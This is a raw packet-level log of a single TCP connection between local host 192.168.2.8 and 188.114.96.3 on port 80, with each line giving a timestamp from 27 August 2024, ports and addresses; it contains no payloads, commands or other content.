Aug 27, 2024 09:49:41.862692118 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.862709045 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.862741947 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.862755060 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.862766027 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.862778902 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.862787962 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.862802982 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.862900019 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.862911940 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.862922907 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.862935066 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.862943888 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.862946033 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.862962961 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.862962961 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.862976074 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.862982035 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.863007069 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.863018036 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.863018990 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.863030910 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.863055944 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.863085032 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.863097906 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.863109112 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.863121033 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.863132954 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.863135099 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.863146067 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.863158941 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.863171101 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.863286972 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.863298893 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.863311052 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.863331079 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.863343000 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.863348007 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.863353968 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.863354921 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.863365889 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.863379002 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.863394976 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.863395929 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.863423109 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.863434076 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.864531040 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.864562035 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.864573956 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.864604950 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.864631891 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.864645004 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.864656925 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.864670038 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.864675045 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.864702940 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.865021944 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.865035057 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.865046978 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.865067959 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.865089893 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.865096092 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.865102053 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.865115881 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.865147114 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.865154028 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.865166903 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.865196943 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.865248919 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.865261078 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.865271091 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.865283966 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.865295887 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.865303040 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.865325928 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.865346909 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.865386963 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.865401030 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.865412951 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.865425110 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.865437984 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.865437984 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.865453005 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.865463972 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.865464926 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.865492105 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.865495920 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.865508080 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.865541935 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.904829979 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.904879093 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.904891968 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.904905081 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.904917955 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.904931068 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.904934883 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.904943943 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.904973984 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.905025959 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.948762894 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.948781967 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.948796034 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.948868990 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.948873997 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.948890924 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.948904991 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.948916912 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.948930979 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.948931932 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.948942900 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.948955059 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.948966980 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.948967934 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.948976994 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.948982000 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.948993921 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.949004889 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.949012995 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.949027061 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.949028969 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.949039936 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.949052095 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.949063063 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.949064970 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.949069977 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.949076891 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.949112892 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.949183941 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.949201107 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.949214935 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.949228048 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.949234009 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.949239969 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.949249029 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.949253082 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.949264050 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.949276924 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.949278116 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.949290991 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.949302912 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.949316025 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.949327946 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.949337006 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.949362993 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.949398994 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.949409962 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.949423075 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.949435949 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.949448109 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.949460983 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.949489117 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.949563980 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.949574947 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.949584961 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.949598074 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.949610949 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.949615002 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.949621916 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.949635029 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.949635029 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.949646950 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.949665070 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.949670076 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.949701071 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.949726105 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.949737072 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.949748993 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.949759960 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.949803114 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.949819088 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.949831009 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.949841976 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.949852943 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.949871063 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.949877024 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.949949980 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.949961901 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.949971914 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.949982882 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.949995041 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.949996948 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.950006008 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.950018883 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.950030088 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.950052023 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.950064898 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.950082064 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.950093985 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.950104952 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.950117111 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.950128078 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.950141907 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.950151920 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.950184107 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.950196028 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.950206995 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.950221062 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.950222015 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.950233936 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.950244904 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.950246096 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.950283051 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.950340033 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.950351954 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.950364113 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.950375080 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.950387955 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.950391054 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.950400114 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.950406075 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.950417042 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.950437069 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.950460911 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.950473070 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.950525045 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.950536966 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.950547934 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.950565100 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.950594902 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.950689077 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.950701952 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.950714111 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.950723886 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.950743914 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.950758934 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.951685905 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.951698065 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.951709986 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.951742887 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.951776028 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.951787949 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.951798916 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.951811075 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.951817989 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.951822996 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.951833010 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.951886892 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.952364922 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.952389002 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.952399969 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.952428102 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.952464104 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.952528000 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.952567101 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.952579021 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.952594995 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.952608109 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.952620983 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.952647924 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.952709913 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.952727079 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.952738047 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.952750921 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.952764034 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.952766895 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.952776909 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.952789068 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.952792883 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.952826977 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.952982903 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.952992916 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.953002930 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.953022003 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.953022003 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.953036070 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.953047037 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.953058958 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.953069925 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.953069925 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.953107119 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.992090940 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.992105007 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.992115974 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.992130041 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.992142916 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.992150068 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.992152929 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.992161989 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.992189884 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:42.039237976 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:42.079365969 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.079377890 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.079449892 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.079449892 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:42.079466105 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.079479933 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.079509974 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.079520941 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.079520941 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:42.079533100 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.079544067 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:42.079567909 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:42.080368042 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.080379963 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.080389977 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.080418110 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:42.080449104 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.080460072 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.080471039 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.080487967 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.080502033 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.080506086 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:42.080506086 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:42.080559015 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:42.080573082 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.080583096 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.080595970 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.080619097 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:42.080621004 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.080632925 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.080643892 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.080653906 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:42.080678940 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:42.081474066 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.081484079 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.081495047 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.081528902 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.081531048 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:42.081567049 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:42.081753969 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.081764936 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.081778049 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.081809998 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:42.081835032 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.081845045 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.081851006 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.081857920 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.081891060 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.081937075 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:42.081943989 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.081955910 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.081970930 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:42.081974983 CEST	49715	80	192.168.2.8	188.114.96.3
